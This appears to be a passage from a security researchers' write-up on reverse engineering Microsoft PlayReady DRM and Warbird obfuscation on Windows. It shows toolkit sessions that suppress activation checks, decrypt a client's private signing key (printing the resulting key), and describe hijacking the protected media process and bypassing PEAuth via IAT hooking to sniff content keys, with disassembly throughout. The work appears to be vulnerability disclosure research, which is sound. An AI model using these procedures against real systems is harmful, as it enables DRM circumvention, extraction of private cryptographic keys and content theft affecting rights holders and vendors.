      if 6fe508  
        * uuid d0d7d187-d16c-4165-b39c-b93c423e88e3  
        * off 20  
      if 6fe4c0  
        * uuid 7de8418e-efed-4eda-ab18-9ae5bf00a069  
        * off 28  
  instances:  

LOGGING / TRACING AND HANDLERS

WRET tool makes it possible to show the trace of executed subroutines (log their
nesting, arguments used, etc.).

For standard API calls, the arguments can be described through loading of header
file information (more specificallt, preprocessed header).

WRET makes it possible to either change or handle arbitrary subroutine calls in
in a special way. This is accomplished through the idea of call handlers.

The following handlers are currently supported:

  • Logger
    It makes it possible to log calls with various configuration options (with
    the possibility to select arbitrary arguments to show, select the types of
    calls to show in the trace such as WB calls, symbol / API calls (such as
    imports / delayed imports), any near calls, whether call nesting should be
    visible
  • SupressActHandler
    It makes it possible to suppress activation (make PlayReady believe that
    it is activated / individualization is not needed), this is important if
    security / reverse analysis is conducted in an offline manner (our company
    policy)
  • SupressLicHandler
    It makes it possible to suppress certain license server errors, so that
    the license response processing doesn’t stop early (such as upon invalid
    signature, expired license, etc.)
  • PrvKeyExtractor
    The handler executed for the purpose of extracting private ECC encryption
    key.

SAMPLE TRACE SETUP

The following steps can be used to setup a sample trace for a PlayReady
getlicense request communication with a test license server.

Starting sample license server:

c:\_MNT\PROJECTS\_PROJECTS\MSPR\MS_PKG\tools\test_ls>run  
## Local HTTP Server                                                       #  
## (c) SECURITY EXPLORATIONS    2018 Poland                                #  
##     http://www.security-explorations.com                                #  
## (c) AG Security Research     2019-2022 Poland                           #  
##     http://www.agsecurityresearch.com                                   #  
##                                                                         #

loaded server key from file

LICENSE SERVER ECC KEY  
- prv: efa20855ae243ce098b4f6382fb8b703fdb9f7c567f5c0e003c9c13eae6a9001  
- pub:  
  X: 1f3c71ab5aa90dcc1c192c99eb21b13454fa47fa107a8278e5344f4600613a1  
  Y: 59b0c0ad7fe7fcb02ea879a7c586ce616036e46defbc8fce6d54bda8dfe09fa2  
HTTP server [class HTTPServer$SEServer] listening on: 8080  

Starting WRET toolkit:

c:\_MNT\PROJECTS\_PROJECTS\MSPR\MS_PKG\tools\wret_toolkit>out\test.exe  
main  
argc: 1  
container: none  
# Warbird RE toolkit (WRET)  
# (c) Security Explorations    2016-2024 Poland  
# (c) AG Security Research     2019-2024 Poland  
wret>  

Setting up target PlayReady library for dynamic analysis (in another command
shell window):

wret> image w10_prlib.dll  
ImageCmd::run  
- Dll init w10_prlib.dll  
  size 10347408 bytes  
  base 180000000  
wret> prlib w10_prlib.dll  
PRLib::run  
wret> wbsetup -r  
WBSetupCmd::run  
Warbird encrypted binary  
### setting up Warbird for runtime analysys  
- scanning for heap exec descriptors  
  found: 981  
- scanning for segment descriptors  
  found: 37  
- decrypting heapexec descriptors  
- decrypting segment descriptors  
- locating ret syscalls  
  total: 1023  
- locating heapexec syscalls  
  total: 911 (WB_MOV10_B9 880, WB_MOV10_REG 10, WB_LEA10 3, WB_SHARED 18)  
- adjusting code refs  
  total: 1470  
- adjusting data refs  
  total: 2  
- patching self LEAs  
  total: 981  
- patching ret syscalls  
- patching heapexec syscalls  
- patching wb call  
- patching antidebug call  
- patching App Policy  
- Dll init Windows.Media.dll  
  size 7145640 bytes  
  base 180000000  
- patching App Model  
- Dll init Windows.Storage.ApplicationData.dll  
  size 435248 bytes  
  base 180000000  
- disabling thread library calls  
wret>  

Loading ECC server key used by the license server (patching default
WMRMECC256PubKey key):

wret> lskey ..\test_ls\ecc.key  
LSKey::run  
WMRMECC256PubKey at 7dc840  

Setting up license server url (to point to the url of the test license
server setup above):

wret> lsurl http://192.168.56.1:8080  
LSUrl::run  

Suppressing PlayReady activation errors (for offline testing):

wret> handler -a supressact  
HandlerCmd::run  
wret>  

Enabling logging functionality:

wret> handler -a logger  
HandlerCmd::run  
wret>  

Setting up logging of return values and args with call nesting enabled
(paddings):

wret> logcfg rets,pads,args  
flag rets val 10  
flag pads val 40  
flag args val 80  
LogcfgCmd::run  
wret>  

Loading preprocessed include file for API calls resolving:

wret> include inc.i  

Setting tracing for import calls (for any CALL instruction additional -t
argument could be used):

wret> trace -i  
TraceCmd::run  
- tracing: GetTraceLoggerHandle  
- tracing: GetTraceEnableFlags  
- tracing: RegisterTraceGuidsW  
- tracing: GetTraceEnableLevel  
- tracing: TraceMessage  
- tracing: UnregisterTraceGuids  
- tracing: LCMapStringW  
- tracing: GetCPInfo  
- tracing: GetOEMCP  
...  
- trace call at 6d7295 to 63c650  
- trace call at 6d7505 to cff60  
- trace call at 6d7529 to cd640  
- trace call at 6d758d to cd550  
- trace call at 6d759e to cd550  
- trace call at 6d7656 to d68c0  
- trace call at 6d7884 to 213f84  
  total: locations 21014 calls 13861  
wret>  

Triggering the invocation of get license request with a log trace:

wret> getlicense  
GetLicenseCmd::run  
GET LICENSE 3  
- ComLib init w10_prlib.dll  
  * hlib: 7ffd3cf50000  
  * get_activation_factory: 7ffd3d01df50  
w10_prlib.dll!cad55 : @wb_decrypt!6eb000  
w10_prlib.dll!cdfae -> api-ms-win-core-synch-l1-1-0.dll!EnterCriticalSection(lpCriticalSection = 7ffd3d8e5e08)  
w10_prlib.dll!cdfae <- ret 0  
w10_prlib.dll!cdfbb -> api-ms-win-core-winrt-string-l1-1-0.dll!WindowsGetStringRawBuffer(arg1 = 21fd3febb8,arg2 = 21fd3fe9c8,arg3 = 30,arg4 = 0,arg5 = 0,arg6 = 7ffd846d1f34)  
w10_prlib.dll!cdfbb <- ret 7ff694b9bc00  
w10_prlib.dll!ce28f -> api-ms-win-core-synch-l1-2-0.dll!InitOnceExecuteOnce(InitOnce = 7ffd3d8e5670,InitFn = 7ffd3d01f9e0,Parameter = 0,Context = 0)  
w10_prlib.dll!ce28f <- ret 1  
w10_prlib.dll!ce2a7 -> api-ms-win-core-winrt-string-l1-1-0.dll!WindowsIsStringEmpty(arg1 = 21fd3febb8,arg2 = 7ffd3d01f9e0,arg3 = 0,arg4 = 0,arg5 = 0,arg6 = 7ffd846d1f34)  
w10_prlib.dll!ce2a7 <- ret 0  
w10_prlib.dll!ce2bc -> api-ms-win-core-winrt-string-l1-1-0.dll!WindowsStringHasEmbeddedNull(arg1 = 21fd3febb8,arg2 = 21fd3fe9c4,arg3 = 0,arg4 = 0,arg5 = 0,arg6 = 7ffd846d1f34)  
w10_prlib.dll!ce2bc <- ret 0  
w10_prlib.dll!ce2d9 -> api-ms-win-core-winrt-string-l1-1-0.dll!WindowsGetStringRawBuffer(arg1 = 21fd3febb8,arg2 = 0,arg3 = 0,arg4 = 0,arg5 = 0,arg6 = 7ffd846d1f34)  
w10_prlib.dll!ce2d9 <- ret 7ff694b9bc00  
w10_prlib.dll!63b89e -> api-ms-win-core-heap-l1-1-0.dll!HeapAlloc(hHeap = 138c4cc0000,dwFlags = 0,dwBytes = 50)  
w10_prlib.dll!63b89e <- ret 138c4cc0860  
...  
     w10_prlib.dll!1ff104 -> 1c1f80(arg1 = 21fd3fe2e4,arg2 = 21fd3fddd0,arg3 = 138d2fe5918,arg4 = 138ca599068,arg5 = 138ca599614,arg6 = 0)  
        w10_prlib.dll!1c202e -> 1c0dd0(arg1 = 21fd3fddd0,arg2 = 21fd3fdf30,arg3 = 21fd3fdd50,arg4 = 1250,arg5 = 21fd3fdcf0,arg6 = 170)  
        w10_prlib.dll!1c202e <-  
      w10_prlib.dll!1ff104 <- ret 0  
      w10_prlib.dll!1ff1ca -> 600700(arg1 = 21fd3fddd0,arg2 = 138ca599624,arg3 = fd3fe2c400001250,arg4 = 13800000021,arg5 = 138ca599614,arg6 = 0)  
        w10_prlib.dll!600809 -> 5e0100(arg1 = 21fd3fddd0,arg2 = 138ca599624,arg3 = 7ffd3d11202e,arg4 = 1250,arg5 = 21fd3fe008,arg6 = 138ca599624)  
          w10_prlib.dll!5e0173 -> 1c2070(arg1 = 21fd3fddd0,arg2 = 138ca599624,arg3 = 138ca599624,arg4 = 138ca599624,arg5 = 21fd3fdc20,arg6 = 138ca599624)  
            w10_prlib.dll!1c20fc -> 1c13f0(arg1 = 138ca599624,arg2 = 138ca599624,arg3 = 21fd3fddd0,arg4 = 21fd3fddd0,arg5 = 21fd3fdba0,arg6 = 21fd3fdc80)  
            w10_prlib.dll!1c20fc <-  
          w10_prlib.dll!5e0173 <- ret 13800000000  
        w10_prlib.dll!600809 <- ret 0  
        w10_prlib.dll!6008f4 -> 5e0100(arg1 = 21fd3fddd0,arg2 = 138ca599634,arg3 = 7ffd3d11202e,arg4 = 1250,arg5 = 21fd3fe008,arg6 = 138ca599624)  
          w10_prlib.dll!5e0173 -> 1c2070(arg1 = 21fd3fddd0,arg2 = 138ca599634,arg3 = 138ca599624,arg4 = 138ca599624,arg5 = 21fd3fdc20,arg6 = 13800000000)  
            w10_prlib.dll!1c20fc -> 1c13f0(arg1 = 138ca599634,arg2 = 138ca599634,arg3 = 21fd3fddd0,arg4 = 21fd3fddd0,arg5 = 21fd3fdba0,arg6 = 21fd3fdc88)  
            w10_prlib.dll!1c20fc <-  
          w10_prlib.dll!5e0173 <- ret 13800000000  
...  

The trace shows all WB calls. Heap execute calls are shown without annotation.
Decryption / encryption calls are annotated with @wb_ prefix:

        w10_prlib.dll!ec879 : @wb_decrypt!6d9200  
        w10_prlib.dll!ec0f9 : @wb_decrypt!6d840c  
        w10_prlib.dll!ec059 : @wb_reencrypt!6d840c  
        w10_prlib.dll!ec9b9 : @wb_decrypt!6d9300  
        w10_prlib.dll!ec919 : @wb_reencrypt!6d9300  
        w10_prlib.dll!ec7d9 : @wb_reencrypt!6d9200  
        w10_prlib.dll!ebe79 : @wb_decrypt!6d8200  
        w10_prlib.dll!ebdd9 : @wb_reencrypt!6d8200  
        w10_prlib.dll!ec559 : @wb_reencrypt!6d9000  

It should be possible to have tracing work across multiple binaries loaded
into a target process (such as PlayReady.dll, mf.dll, etc.).

Sample trace log files along scripts can be found in tests\trace directory.

It should be mentioned that occasionally, PlayReady identity could be wiped
out as a result of detecting expired or invalid identity. In such cases,
placing arbitrary copy of hds and bla files to PlayReady CDM directory
helps avoid errors during tracing. See prepare.bat script for details.

KEY SUBROUTINES

The developed toolset made it possible to conduct an in-depth static and
dynamic analysis of PlayReady operation with respect to some key functionality
such as activation / individualization (prinit cmd) and license acquisition
(getlicense cmd).

General protocol operation has been reverse engineered by us in 2022 (CANAL+
STB device environment), which made things easier (we knew what artifacts to
look for).

As a result of the analysis, some key subroutines pertaining to cryptographic
operations conducted on identity and license blobs have been discovered. What’s
worth to note is that their addresses could be established in a completely
automatic fashion across various PlayReady library versions used in both
Windows 10 and 11 environments:

wret> prsubs  
PRSubsCmd::run  
[w10_prlib.dll]  
* main obj [vtable 713148]  
  - module init        215400  
  - decrypt license    217500  
  - sign data          217570  
  - decrypt domain key 2155b0  
* decrypt license internal 6c6560  
* get license decryptor    215600  
* decrypt license blob     2228a0  
* expand key               6509c0  
* decrypt signing key      222650  

Actual implementation details can be found in source code (prsubs command
implementation of WRET toolkit).

The script genprsubs.bat located in tests\xor_key directory can
automatically discover prsubs values for various versions of PlayReady
libraries present in Windows 10 / 11 x64 systems across various builds from
late 2022 till Nov 2024:

c:\_MNT\PROJECTS\_PROJECTS\MSPR\_MS.NOV.2024\WBPMP\tests\xor_key>genprsubs  
### GENERATING PRSUBS  
w10\w10_22h2_aug22\Windows.Media.Protection.PlayReady.dll  
w10\w10_22h2_aug24\Windows.Media.Protection.PlayReady.dll  
w10\w10_22h2_dec22\Windows.Media.Protection.PlayReady.dll  
w10\w10_22h2_dec23\Windows.Media.Protection.PlayReady.dll  
w10\w10_22h2_jul24\Windows.Media.Protection.PlayReady.dll  
w10\w10_22h2_jun23\Windows.Media.Protection.PlayReady.dll  
w10\w10_22h2_jun24\Windows.Media.Protection.PlayReady.dll  
w10\w10_22h2_mar23\Windows.Media.Protection.PlayReady.dll  
w10\w10_22h2_mar24\Windows.Media.Protection.PlayReady.dll  
w10\w10_22h2_nov24\Windows.Media.Protection.PlayReady.dll  
w10\w10_22h2_oct24\Windows.Media.Protection.PlayReady.dll  
w10\w10_22h2_sep23\Windows.Media.Protection.PlayReady.dll  
w10\w10_22h2_sep24\Windows.Media.Protection.PlayReady.dll  
w11\w11_22h2_dec22\Windows.Media.Protection.PlayReady.dll  
w11\w11_22h2_mar23\Windows.Media.Protection.PlayReady.dll  
w11\w11_22h2_sep22\Windows.Media.Protection.PlayReady.dll  
w11\w11_23h2_aug24\Windows.Media.Protection.PlayReady.dll  
w11\w11_23h2_jul24\Windows.Media.Protection.PlayReady.dll  
w11\w11_23h2_mar24\Windows.Media.Protection.PlayReady.dll  
w11\w11_23h2_nov24\Windows.Media.Protection.PlayReady.dll  
w11\w11_23h2_oct24\Windows.Media.Protection.PlayReady.dll  
w11\w11_23h2_sep24\Windows.Media.Protection.PlayReady.dll  

The name of the output file is `prsubs.txt’.

PRIVATE SIGNING KEY DISCOVERY

License request issued to the license server requires the use of a private
client identity key for signing the request.

The trace of a license server revealed the subroutine that conducted decryption
of that key (prsubs addr denoted by “decrypt signing key”):

.text:0000000180222650 agsr_decrypt_secret_key proc near       ; DATA XREF: agsr_sign_data:loc_180217628↑o  
.text:0000000180222650                                         ; .rdata:000000018097A6E8↓o ...  
.text:0000000180222650  
.text:0000000180222650 var_1E0         = qword ptr -1E0h  
.text:0000000180222650 var_1D8         = qword ptr -1D8h  
.text:0000000180222650 var_1D0         = qword ptr -1D0h  
.text:0000000180222650 var_1C8         = qword ptr -1C8h  
.text:0000000180222650 var_1C0         = qword ptr -1C0h  
.text:0000000180222650 var_1B8         = dword ptr -1B8h  
.text:0000000180222650 var_1B0         = byte ptr -1B0h  
.text:0000000180222650 var_1A0         = byte ptr -1A0h  
.text:0000000180222650 var_30          = qword ptr -30h  
.text:0000000180222650 var_28          = qword ptr -28h  
.text:0000000180222650 arg_0           = dword ptr  10h  
.text:0000000180222650 arg_8           = dword ptr  18h  
.text:0000000180222650 arg_10          = dword ptr  20h  
.text:0000000180222650  
.text:0000000180222650                 lea     rdx, unk_180998298  
.text:0000000180222657                 mov     rcx, [rsp+0]  
.text:000000018022265B                 push    rbp  
.text:000000018022265C                 push    rdi  
.text:000000018022265D                 push    r12  
.text:000000018022265F                 push    r14  
.text:0000000180222661                 push    r15  
.text:0000000180222663                 lea     rbp, [rsp-0C0h]  
.text:000000018022266B                 sub     rsp, 1C0h  
.text:0000000180222672                 cmp     dword ptr [rcx+10h], 20h ; ' ' ; arg2=encrypted key size  
.text:0000000180222676                 mov     r15, rdx  
.text:0000000180222679                 mov     r12, [rcx]      ; res ptr  
.text:000000018022267C                 mov     rax, rcx  
.text:000000018022267F                 mov     rdi, [rdx-8]  
.text:0000000180222683                 mov     r14, [rdx-10h]  
.text:0000000180222687  
.text:0000000180222687 loc_180222687:                          ; DATA XREF: .rdata:000000018097A6E8↓o  
.text:0000000180222687                                         ; .rdata:000000018097A6FC↓o ...  
.text:0000000180222687                 mov     [rsp+1E0h+var_28], rbx  
.text:000000018022268F                 mov     ebx, 10h  
.text:0000000180222694                 jz      short loc_1802226A1 ; arg1 = encrypted key  
.text:0000000180222696                 mov     r8d, 80070057h  
.text:000000018022269C                 jmp     loc_180222838  
.text:00000001802226A1 ; ---------------------------------------------------------------------------  
.text:00000001802226A1  
.text:00000001802226A1 loc_1802226A1:                          ; CODE XREF: agsr_decrypt_secret_key+44↑j  
.text:00000001802226A1                 mov     rcx, [rcx+8]    ; arg1 = encrypted key  
.text:00000001802226A5                 test    rcx, rcx  

Decryption of the signing key was thus straightforward. All that was required
to accomplish that was to call that subroutine with an encrypted key provided
as an argument. One needs to keep in mind that this was WB subroutine normally
invoked through the NtQuerySystemInformation (this is manifested through
rcx being loaded from stack top / ret addr location and arguments accessed
through rcx).

The following procedure has been used for decryption of the signing key and
verification of the process.

MSPR toolkit has been used to save public and encrypted keys for a given chosen
identity:

c:\_MNT\PROJECTS\_PROJECTS\MSPR\MS_PKG\tools\mspr_toolkit>run  
# MS Play Ready / Canal+ VOD toolkit  
# (c) Security Explorations    2016-2019 Poland  
# (c) AG Security Research     2019-2022 Poland

loaded cdn      [CDN helper]  
loaded mspr     [MS Play Ready toolkit]  
loaded vod      [CANALP VOD toolkit]  
loaded cgaweb   [CANALP CGAWeb toolkit]  

Listing identities (as denoted by CDM pointed by CDN_DIR variable):

msprcp> identity  
0C86330B0E98CD7C586F336088DAFA0E  
4F72F3CBDC81C849F635AE556A73679F  
902B255736B6E891F3AF30F98B0A5DBA  
D9A5C7A90F8DEA029AA8FB1C95887BE3  
E82DFAE7A9DB21FC1ECF33C1DADC54B7  

Exporting client identity (signing and encryption keys):

msprcp> identity -e 0C86330B0E98CD7C586F336088DAFA0E  
0C86330B0E98CD7C586F336088DAFA0E.enc.pub (public encryption key)  
0C86330B0E98CD7C586F336088DAFA0E.enc.prv (private encryption key)  
0C86330B0E98CD7C586F336088DAFA0E.sig.pub (public signing key)  
0C86330B0E98CD7C586F336088DAFA0E.sig.prv (private signing key)  

Now, the WRET toolkit can be used to decrypt the signing key:

wret> decsignkey ..\mspr_toolkit\0C86330B0E98CD7C586F336088DAFA0E.sig.prv -o ..\mspr_toolkit\0C86330B0E98CD7C586F336088DAFA0E.sig.plain  
DecSignKeyCmd::run  
keydata  
0x00000000:  d7 60 5c 71 57 a0 01 7c 58 e2 e7 79 a8 b1 12 55  .`\qW..|X..y...U  
0x00000010:  1d 72 14 f0 d9 2c ef 04 6c cc 57 c1 2e 9b e3 b4  .r...,..l.W.....  
target 7ffd3d172650  
wb res: 0 call res 0  
output key  
0x00000000:  cc 55 f7 54 f7 62 4f e2 b0 07 d8 30 2a 34 80 8c  .U.T.bO....0*4..  
0x00000010:  ad e4 9b 6e 78 2b 8c de 1e c3 56 96 20 c4 24 f3  ...nx+....V. .$.  
saving to ..\mspr_toolkit\0C86330B0E98CD7C586F336088DAFA0E.sig.plain file  
wret>  

We can verify whether the decrypted private key matches the public one:

msprcp> checkkeypair 0C86330B0E98CD7C586F336088DAFA0E.sig.plain 0C86330B0E98CD7C586F336088DAFA0E.sig.pub  
KEY CHECK:

- prv: cc55f754f7624fe2b007d8302a34808cade49b6e782b8cde1ec3569620c424f3  
- pub:  
  X: 42b2a0ff381c34cc67063b50e12e0dde7449552938ef660c605c909f8cb04943  
  Y: fe7a81f2f675ab2905c3e2e996219b44a398b23645e4cd7cc9538bd3cd32bf7  
KEY CHECK OK  

It is worth to mention that the signing key decryption subroutine has been
highly obfuscated (on purpose). This was completely irrelevant from a target
security analysis though - there was no need to dive into the obfuscated code
/ no need to understand how it works. What was relevant was subroutine
identification and its API functionality (input args with decrypted key ->
some black box key processing -> output plaintext key).

CONTENT KEY SNIFFER

Analysis of the license request processing was not sufficient for us to reach
a point where private client identity key could be used for license blob
decryption. Thus, we needed to move our work to online environment and conduct
some more in-depth analysis of MS Edge and PMP environment in order to find
out PlayReady operation following license server response (how license blobs
are decrypted and content keys obtained).

As a result of the above, successful XMR license and content key sniffing could
be achieved. All regardless of the protections implemented at OS kernel level
such as protected process and PEAuth, which is responsible for guarding that
PMP environment is authorized to process protected content.

PEAuth is implemented in both kernel (PEAuth driver) and user land (calls
from PlayReady library). It’s worth to note that PEAuth driver can execute
encrypted code too:

INIT:00000001C00C6582                 lea     rdx, unk_1C0031340  
INIT:00000001C00C6589                 mov     cs:dword_1C003144C, 1  
INIT:00000001C00C6593                 lea     rcx, byte_1C002EC30 ; -> ptr to encrypted segment descriptor  
INIT:00000001C00C6593                                         ;   off 0x50 contains memory RVA:  
INIT:00000001C00C6593                                         ; .rdata:00000001C002EC80                 db    8  
INIT:00000001C00C6593                                         ; .rdata:00000001C002EC81                 db  90h  
INIT:00000001C00C6593                                         ; .rdata:00000001C002EC82                 db    3  
INIT:00000001C00C6593                                         ; .rdata:00000001C002EC83                 db    0  
INIT:00000001C00C659A                 call    agsr_decrypt_code?  
INIT:00000001C00C659F                 test    eax, eax  
INIT:00000001C00C65A1                 js      short loc_1C00C65BB  
INIT:00000001C00C65A3                 call    loc_1C0039008   ; -> call into just decrypted memory  
INIT:00000001C00C65A8                 lea     rdx, unk_1C0031340  
INIT:00000001C00C65AF                 lea     rcx, byte_1C002EC30  
INIT:00000001C00C65B6                 call    agsr_encrypt_code? ; reencrypt memory  

In general PEAuth driver assists user code (PMP process) by periodically
exchanging some crypto challenges with it.

At the time of returning result to the calling process, it verifies whether
it is protected:

PAGE:00000001C003B2CC loc_1C003B2CC:                          ; CODE XREF: agsr_check_and_set_ioctl_result+E0↑j  
PAGE:00000001C003B2CC                 mov     eax, [r12+8]    ; protected process flag (=1 dla protected)  
PAGE:00000001C003B2D1                 cmp     esi, 4          ; u mnie 1  
PAGE:00000001C003B2D4                 jz      short loc_1C003B33F  
PAGE:00000001C003B2D6                 test    eax, eax  
PAGE:00000001C003B2D8                 jnz     short loc_1C003B2E6 ; -> jump for protected process  
PAGE:00000001C003B2DA  
PAGE:00000001C003B2DA loc_1C003B2DA:                          ; CODE XREF: agsr_check_and_set_ioctl_result+169↓j  
PAGE:00000001C003B2DA                 mov     dword ptr [rbx+4], 0C00D7165h ; store result  
PAGE:00000001C003B2DA                                         ;  
PAGE:00000001C003B2DA                                         ; //  
PAGE:00000001C003B2DA                                         ; // MessageId: MF_E_NON_PE_PROCESS  
PAGE:00000001C003B2DA                                         ; //  
PAGE:00000001C003B2DA                                         ; // MessageText:  
PAGE:00000001C003B2DA                                         ; //  
PAGE:00000001C003B2DA                                         ; // A non-PE process tried to talk to PEAuth.%0  
PAGE:00000001C003B2DA                                         ; //  
PAGE:00000001C003B2DA                                         ; #define MF_E_NON_PE_PROCESS              _HRESULT_TYPEDEF_(0xC00D7165L)  

For non-protected processes, it returns error, which informs the PMP environment
that an attempt is made to launch PlayReady DRM (process protected content) in
an untrusted env.

PMP PROCESS HIJACK

Upon initialization of Protected Media Path (and PlayReady DRM), PMP process
gets started by MS Edge.

Process launch is conducted with CREATE_PROTECTED_PROCESS creation flags
(from mfcore.dll and mfpmp.exe):

.text:000000018009E5FC                 jnz     loc_180177651  
.text:000000018009E602                 test    r14b, 1         ; jezeli r14b == 1, to mam flage  
.text:000000018009E602                                         ; MFPMPSESSION_UNPROTECTED_PROCESS  
.text:000000018009E602                                         ;  
.text:000000018009E602                                         ; flags for MFCreatePMPMediaSession function  
.text:000000018009E602                                         ;  
.text:000000018009E602                                         ; typedef enum MFPMPSESSION_CREATION_FLAGS {  
.text:000000018009E602                                         ;   MFPMPSESSION_UNPROTECTED_PROCESS = 0x1,  
.text:000000018009E602                                         ;   MFPMPSESSION_IN_PROCESS = 0x2  
.text:000000018009E602                                         ; } ;  
.text:000000018009E606                 jnz     short loc_18009E617 ; -> go unprotected  
.text:000000018009E608                 call    agsr_check_protected_process_bypass ; check whether to start protected process  
.text:000000018009E608                                         ; (check for registry override)  
.text:000000018009E60D                 test    eax, eax        ; set protected process if eax==0  
.text:000000018009E60F                 mov     ecx, 40000h     ; CREATE_PROTECTED_PROCESS!!!!  
.text:000000018009E614                 cmovz   esi, ecx        ; dwCreationFlags  
.text:000000018009E617

...

.text:000000018009E7C4                 and     [rsp+380h+var_348], 0  
.text:000000018009E7CA                 and     [rsp+380h+var_350], 0  
.text:000000018009E7D0                 mov     [rsp+380h+dwCreationFlags], esi ; dwCreationFlags  
.text:000000018009E7D4                 and     dword ptr [rsp+380h+var_360], 0  
.text:000000018009E7D9                 call    cs:CreateProcessW  

With MS Edge running with user privileges, process creation can be easily
bypassed. What is needed for the purpose is the hijack of CreateProcessW
call and clearing of the flag.

PEAUTH BYPASS

PEAuth checks are called both during the PMP environment initialization and
also periodically (every 5000 decoded MPEG frames).

Running PMP process as unprotected is not sufficient for PlayReady DRM
operation (no license request / processing is done if insecure env is
detected) for the reasons depicted above.

There is however a way to bypass PEAuth checks and have PlayReady DRM run
in full as part of the unprotected process.

Initial PEAuth check is invoked from IMFInputTrustAuthority::RequestAccess
call. The code that is part of ITA verification call inspects a value of some
cached variable prior to the PEAuth check:

.text:0000000180152BDE  
.text:0000000180152BDE loc_180152BDE:                          ; CODE XREF: agsr_ITA_verify????+4E↑j  
.text:0000000180152BDE                                         ; agsr_ITA_verify????+54↑j  
.text:0000000180152BDE                 xor     eax, eax        ; =0  
.text:0000000180152BE0                 mov     [rsp+10h+arg_11F8], r12  
.text:0000000180152BE8                 mov     esi, eax        ; result = 0 (ok)  
.text:0000000180152BEA                 cmp     [r14+0C8h], eax  
.text:0000000180152BF1                 jnz     short loc_180152C17  
.text:0000000180152BF3                 cmp     [r14+0B8h], eax ; some special flag (trusted env / skip PEAuth ?)  
.text:0000000180152BFA                 jnz     short loc_180152C17  
.text:0000000180152BFC                 mov     [rbp+10F0h+var_1058], eax  

What’s interesting in this variable is that it is set to 1 upon successful
completion of the PEAuth check. In that context, the variable acts as a
cached value for the PEAuth check. So, setting this variable to 1 prior to
the check will simply skip it.

Again, while ITA verification code is quite long and highly obfuscated, one
doesn’t need to analyze it at all. It is sufficient to find out that it signals
an error at the time of detecting insecure (unprotected) PMP process and how to
override it (skip it).

Setting the PEAuth check variable described above requires that it is done
at proper time and context (this object instance context). This is not that
straightforward taking into account that ITA verify subroutine is available in
plaintext form only for the time of its execution (the code is dynamically
decrypted and reencrypted):

.text:00000001806BC641                 js      loc_1806BC331   ; -> error  
.text:00000001806BC647                 lea     rax, agsr_wb_decrypt_0  
.text:00000001806BC64E                 add     rax, rsi  
.text:00000001806BC651                 call    rax  
.text:00000001806BC653                 test    eax, eax  
.text:00000001806BC655                 js      loc_1806BC76A   ; -> error  
.text:00000001806BC65B                 lea     rax, agsr_ITA_verify???? ; sets [this+0xb8] to 1 if PEAuth OK  
.text:00000001806BC662                 add     rax, rsi  
.text:00000001806BC665                 lea     rcx, [r15-10h]  ; this-10h  
.text:00000001806BC669                 call    rax  
.text:00000001806BC66B                 mov     r12d, eax  
.text:00000001806BC66E                 lea     rax, agsr_wb_reencrypt_0  
.text:00000001806BC675                 add     rax, rsi  

Additionally, the code is executed through WB heap execute call:

.text:000000018015F620 agsr_RequestAccess proc near            ; DATA XREF: .rdata:0000000180710A08↓o  
.text:000000018015F620                                         ; .rdata:000000018073AF08↓o ...  
.text:000000018015F620  
.text:000000018015F620 var_18          = dword ptr -18h  
.text:000000018015F620 arg_8           = dword ptr  10h  
.text:000000018015F620  
.text:000000018015F620                 mov     r11, rsp  
.text:000000018015F623                 sub     rsp, 58h  
.text:000000018015F627                 mov     [r11-20h], rcx  
.text:000000018015F62B                 lea     rax, agsr_RequestAccess_wrap  
.text:000000018015F632                 mov     [r11-30h], rax  
.text:000000018015F636                 xor     r9d, r9d        ; ReturnLength  
.text:000000018015F639                 lea     rax, [r11+10h]  
.text:000000018015F63D                 mov     qword ptr [r11-38h], 3  
.text:000000018015F645                 mov     [r11-28h], rax  
.text:000000018015F649                 mov     ecx, 0B9h       ; SystemInformationClass  
.text:000000018015F64E                 mov     [rsp+58h+var_18], edx ; MFPOLICYMANAGER_ACTION Action  
.text:000000018015F652                 lea     rdx, [r11-38h]  ; SystemInformation  
.text:000000018015F656                 mov     [r11-14h], r8   ; IMFActivate **ppContentEnablerActivate  
.text:000000018015F65A                 lea     r8d, [r9+2Ch]   ; SystemInformationLength  
.text:000000018015F65E                 call    NtQuerySystemInformation  
.text:000000018015F663                 mov     eax, [rsp+58h+arg_8]  
.text:000000018015F667                 add     rsp, 58h  
.text:000000018015F66B                 retn  
.text:000000018015F66B agsr_RequestAccess endp  

We have figured out the way to accomplish the patching though. As WB call above
is done through NtQuerySystemInformation, one can hijack the IAT entry for it
and conduct some processing upon detection of the target call location (from
within RequestAccess).

The overwrite of IAT along hijack of arbitrary code into target PMP process is
possible (due to no process protection, this got disabled at the time of PMP
process launch). Detection of a target call location is accomplished through
the following:

  • code pattern match (same pattern is present for Windows 10 and 11 PlayReady
    binaries),
  • matching of the MFPOLICYMANAGER_ACTION argument (it should denote
    PEACTION_PLAY)
  • verification of a virtual methods table (vtable) pointer (whether vtable slot
    corresponding to the RequestAccess method corresponds to the WB code called)

At this point it is worth to mention that the hijacking of WB code implemented
by the sniffer demonstrates two potential weaknesses of Warbird / PMP:

  1. virtual methods table calls constituting a gap in the encrypted call chains,
    vtable slots usually point to plaintext code wrappers that invoke WB code
    (setup WB args and invoke WB syscall), a call to NtQuerySystemInformation
    used by it can be intercepted (break up of thesemi-atomic invocation chain
    / possibility of the hooking),
  2. no additional memory protection for the PlayReady image upon memory load
    (protected process is not enough)

It’s worth to mention that similar bypass should work with respect to periodic
PEAuth check conducted every 5000 samples. The code below indicates that there
are some instance variables checked prior to the call that denote the code runs
in a trusted environment:

.text:0000000180179960 agsr_check_pe_trusted proc near         ; DATA XREF: agsr_LongRunning_DecryptSample:loc_180180F16↓o  
.text:0000000180179960                                         ; agsr_DoProcessSample+DA↓o ...  
.text:0000000180179960  
.text:0000000180179960 var_78          = dword ptr -78h  
.text:0000000180179960 var_70          = dword ptr -70h  
.text:0000000180179960 var_68          = qword ptr -68h  
.text:0000000180179960 var_60          = qword ptr -60h  
.text:0000000180179960 var_58          = qword ptr -58h  
.text:0000000180179960 var_50          = qword ptr -50h  
.text:0000000180179960 var_48          = qword ptr -48h  
.text:0000000180179960 var_38          = qword ptr -38h  
.text:0000000180179960 arg_0           = dword ptr  8  
.text:0000000180179960 arg_8           = dword ptr  10h  
.text:0000000180179960 arg_10          = dword ptr  18h  
.text:0000000180179960  
.text:0000000180179960                 lea     rdx, unk_180998298  
.text:0000000180179967                 mov     rcx, [rsp+0]  
.text:000000018017996B                 push    rbx  
.text:000000018017996C                 push    rbp  
.text:000000018017996D                 push    rsi  
.text:000000018017996E                 push    rdi  
.text:000000018017996F                 push    r12  
.text:0000000180179971                 push    r15  
.text:0000000180179973                 sub     rsp, 68h  
